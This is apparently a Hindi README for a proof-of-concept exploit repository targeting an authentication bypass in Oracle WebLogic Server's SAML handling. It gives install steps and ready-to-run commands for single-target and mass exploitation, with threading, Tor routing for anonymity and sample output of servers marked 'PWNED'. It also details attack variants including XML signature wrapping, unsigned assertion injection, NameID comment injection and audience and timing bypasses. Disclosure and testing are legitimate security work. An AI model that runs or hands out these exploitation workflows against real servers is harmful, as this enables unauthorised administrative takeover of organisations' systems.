CVE-2026-60206 – Oracle WebLogic Server SAML प्रमाणीकरण बाईपास PoC

यह रिपॉजिटरी CVE‑2026‑60206 के लिए एक प्रूफ‑ऑफ‑कॉन्सेप्ट एक्सप्लॉइट प्रदान करती है, जो Oracle WebLogic Server के SAML कार्यान्वयन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता है। यह दोष एक रिमोट, निम्न‑विशेषाधिकार प्राप्त हमलावर को SAML अभिकथन (assertions) जाली बनाकर सर्वर से पूरी तरह समझौता करने की अनुमति देता है।

⚠️ अस्वीकरण: यह टूल केवल अधिकृत सुरक्षा अनुसंधान और परीक्षण के लिए है। इसका उपयोग केवल उन्हीं प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।

🔥 भेद्यता अवलोकन

CVE-2026-60206 Oracle WebLogic Server के Core घटक को प्रभावित करती है। यह भेद्यता SAML प्रोटोकॉल कार्यान्वयन में अनुचित प्रमाणीकरण प्रबंधन से उत्पन्न होती है। कई हमले वैक्टर—जैसे XML सिग्नेचर रैपिंग (XSW), अहस्ताक्षरित अभिकथन स्वीकृति, NameID हेरफेर, और audience/conditions बाईपास—हमलावर को मनमाने उपयोगकर्ताओं (जैसे weblogic) का रूप धारण करने और प्रशासनिक पहुँच प्राप्त करने की अनुमति देते हैं।

प्रभावित संस्करण:

• 12.2.1.4.0
• 14.1.1.0.0
• 14.1.2.0.0
• 15.1.1.0.0

PoC निम्नलिखित हमले वैक्टर लागू करता है:

• XML सिग्नेचर रैपिंग (XSW) – SAML प्रोसेसर को अहस्ताक्षरित अभिकथन स्वीकार करने के लिए संरचनात्मक हेरफेर।
• अहस्ताक्षरित अभिकथन इंजेक्शन – पूरी तरह से अहस्ताक्षरित SAML प्रतिक्रिया तैयार करना (यदि WantAssertionsSigned लागू नहीं है)।
• NameID हेरफेर – XML टिप्पणियों, व्हाइटस्पेस, या प्रारूप भ्रम के माध्यम से आइडेंटिटी मैपर को भ्रमित करना।
• Audience प्रतिबंध बाईपास – दायरा बढ़ाने के लिए AudienceRestriction को हटाना या संशोधित करना।
• Conditions/समय बाईपास – वैधता जाँच को बायपास करने के लिए NotBefore/NotOnOrAfter में हेरफेर करना।
• संयुक्त हमला – XSW + अहस्ताक्षरित आंतरिक अभिकथन + NameID हेरफेर (सफल होने की सबसे अधिक संभावना)।
• रीप्ले – संशोधित गंतव्य/प्राप्तकर्ता के साथ कैप्चर की गई SAML प्रतिक्रिया को दोबारा चलाना।

✨ विशेषताएँ

• एकाधिक हमले मोड – all, unsigned, xsw, nameid, audience, conditions, combo, या replay में से चुनें।
• मास स्कैनिंग – कई लक्ष्यों पर समवर्ती पहचान और वैकल्पिक शोषण (-l के माध्यम से)।
• संस्करण पहचान – हेडर, त्रुटि पृष्ठों और WSDL के माध्यम से WebLogic संस्करण का सटीक फिंगरप्रिंट।
• SAML एंडपॉइंट प्रोबिंग – स्वचालित रूप से SAML ACS, मेटाडेटा और SP-आरंभित एंडपॉइंट खोजें।
• Tor समर्थन – गुमनामी के लिए ट्रैफ़िक को Tor (SOCKS5/HTTP/SOCKS4) के माध्यम से रूट करें।
• रॉ HTTP अनुरोध रीप्ले – फ़ाइल से मनमाने रॉ HTTP अनुरोध भेजें (-r)।
• HTTP/2 समर्थन – यदि स्थापित है तो स्वचालित रूप से httpx का उपयोग करता है, अन्यथा requests (HTTP/1.1) पर वापस आ जाता है।

📦 स्थापना

git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt

आवश्यक: requests, urllib3

वैकल्पिक (कार्यक्षमता में सुधार):

• httpx – HTTP/2 समर्थन के लिए
• lxml – उन्नत SAML पार्सिंग के लिए
• signxml, cryptography – सिग्नेचर हैंडलिंग के लिए (शोषण के लिए आवश्यक नहीं)

🚀 उपयोग

एकल लक्ष्य – केवल पहचान

python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect

एकल लक्ष्य – सभी हमले वैक्टर चलाएँ

python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic

एकल लक्ष्य – विशिष्ट हमला मोड

python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin

मास स्कैन – फ़ाइल से संस्करणों का पता लगाएँ

python CVE-2026-60206.py -l targets.txt -o results.json

मास स्कैन – पहचान + शोषण

python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20

कैप्चर की गई SAML प्रतिक्रिया रीप्ले करें

python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml

Tor का उपयोग करें और कनेक्टिविटी जाँचें

python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor

फ़ाइल से रॉ HTTP अनुरोध भेजें

python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST

त्वरित भेद्यता जाँच (गैर‑शोषण)

python CVE-2026-60206.py -t https://192.168.1.100:7002 -c

⚙️ फ्लैग संदर्भ

विकल्प:

लक्ष्य:

अनुरोध विकल्प:

हमला कॉन्फ़िगरेशन:

मास स्कैन (-l के साथ):

आउटपुट:

🧪 मोड विस्तार से

detect

संस्करण पहचान और SAML एंडपॉइंट प्रोबिंग करता है। कोई हमला नहीं चलाया जाता।

unsigned

पूरी तरह से अहस्ताक्षरित SAML अभिकथन इंजेक्ट करता है। यदि लक्ष्य WantAssertionsSigned लागू नहीं करता है, तो यह प्रमाणीकरण को पूरी तरह से बायपास कर देता है।

वेरिएंट: unsigned (डिफ़ॉल्ट), unsigned_stripped (सभी सिग्नेचर संदर्भ हटाता है)।

xsw (XML सिग्नेचर रैपिंग)

एक वैध हस्ताक्षरित अभिकथन से पहले (या उसे लपेटकर) एक दुर्भावनापूर्ण अहस्ताक्षरित अभिकथन रखता है। SAML प्रोसेसर पहले अभिकथन को चुन सकता है जबकि सिग्नेचर सत्यापनकर्ता हस्ताक्षरित अभिकथन की जाँच करता है।

वेरिएंट: xsw1 (सरल प्रीपेंड), xsw2 (मूल के समान ID), xsw3 (नेस्टेड रैपर), xsw4 (सहोदर)।

nameid

WebLogic के आइडेंटिटी मैपर को भ्रमित करने के लिए NameID फ़ील्ड में हेरफेर करता है, जिससे एक अलग उपयोगकर्ता का रूप धारण किया जा सकता है।

वेरिएंट: comment_injection, whitespace, format_confusion, xpath_injection।

audience

audience तत्व को हटाकर या संशोधित करके AudienceRestriction जाँचों को बायपास करता है।

वेरिएंट: remove_audience, wildcard_audience, extra_audience।

conditions

समय‑आधारित प्रतिबंधों को बायपास करता है (जैसे, NotBefore, NotOnOrAfter)।

वेरिएंट: future_timestamp, expired_timestamp, remove_conditions, infinite_validity।

combo

XSW, अहस्ताक्षरित अभिकथन और NameID हेरफेर को एक पेलोड में जोड़ता है – पूर्ण समझौते के लिए सबसे संभावित वेक्टर।

वेरिएंट: combo_full (कमेंट इंजेक्शन के साथ), combo_stealth (न्यूलाइन के साथ)।

replay

पहले से कैप्चर की गई SAML प्रतिक्रिया को दोबारा चलाता है, वैकल्पिक रूप से गंतव्य को संशोधित करता है या audience प्रतिबंध हटाता है।

वेरिएंट: replay_modified (Destination/Recipient समायोजित करता है), replay_cross_sp (audience प्रतिबंध हटाता है)।

📝 उदाहरण वर्कफ़्लो (एकल लक्ष्य शोषण)

$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo

  ╔══════════════════════════════════════════════════════════════════════╗
  ║       CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC       ║
  ║         Oracle WebLogic Server Core | CVSS 9.9 | CWE-287             ║
  ╚══════════════════════════════════════════════════════════════════════╝

🔍 Detecting WebLogic version and SAML configuration...
  Detected WebLogic version: 12.2.1.4.0
  ⚠️  Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
  Found SAML metadata: /saml2/sp/metadata
  Found SAML ACS: /saml2/sp/acs (HTTP 200)

============================================================
🚀 Starting comprehensive SAML attack suite
   Target: https://192.168.1.100:7002
   Target User: weblogic
============================================================

── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
   ACS Endpoint: /saml2/sp/acs

── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
   ACS Endpoint: /saml2/sp/acs

============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================

 EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
   - [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
   - [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json

📝 उदाहरण वर्कफ़्लो (मास स्कैन)

$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10

============================================================
  CVE-2026-60206 Mass Scanner
  Targets: 50
  Threads: 10
  Mode:    Exploit
============================================================

  [10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s  
  [!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
  [!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
  ... (continues) ...

============================================================
  SCAN SUMMARY
============================================================
  Total targets:   50
  Reachable:       45
  WebLogic:        12
  Vuln version:    8
  Exploited:       3
  Duration:        42.5s
============================================================

  [!!] SUCCESSFULLY EXPLOITED:
    https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
    https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
    https://10.0.0.15:7002 → weblogic via /saml2/sp/acs

  [!] VULNERABLE VERSIONS (not yet exploited):
    https://10.0.0.20:7002 (14.1.1.0.0)
    https://10.0.0.25:7002 (15.1.1.0.0)
    ... (truncated)

🛠️ एक असुरक्षित परीक्षण वातावरण बनाना

इस PoC का सुरक्षित रूप से परीक्षण करने के लिए, SAML सक्षम और प्रभावित संस्करणों में से एक के साथ WebLogic Server सेट करें। उदाहरण के लिए, आप Docker का उपयोग कर सकते हैं:

# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts

SAML कॉन्फ़िगरेशन में कम से कम एक SAML 2.0 सेवा प्रदाता शामिल होना चाहिए जिसमें ACS एंडपॉइंट (जैसे, /saml2/sp/acs) और प्रकाशित मेटाडेटा हो।

🔗 संदर्भ

• Oracle जुलाई 2026 क्रिटिकल पैच अपडेट सलाह
• CVE-2026-60206 विवरण – NIST NVD
• CWE-287: अनुचित प्रमाणीकरण
• SAML 2.0 सुरक्षा विश्लेषण – XML सिग्नेचर रैपिंग

📜 लाइसेंस

यह प्रोजेक्ट GNU v3.0 लाइसेंस के तहत लाइसेंस प्राप्त है – विवरण के लिए LICENSE फ़ाइल देखें।

🤝 योगदान

मुद्दे (issues) और पुल रिक्वेस्ट का स्वागत है। कृपया सुनिश्चित करें कि आपके योगदान समान नैतिक उपयोग दिशानिर्देशों का पालन करते हैं।

याद रखें: किसी भी सुरक्षा टूल का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें। नैतिक बने रहें!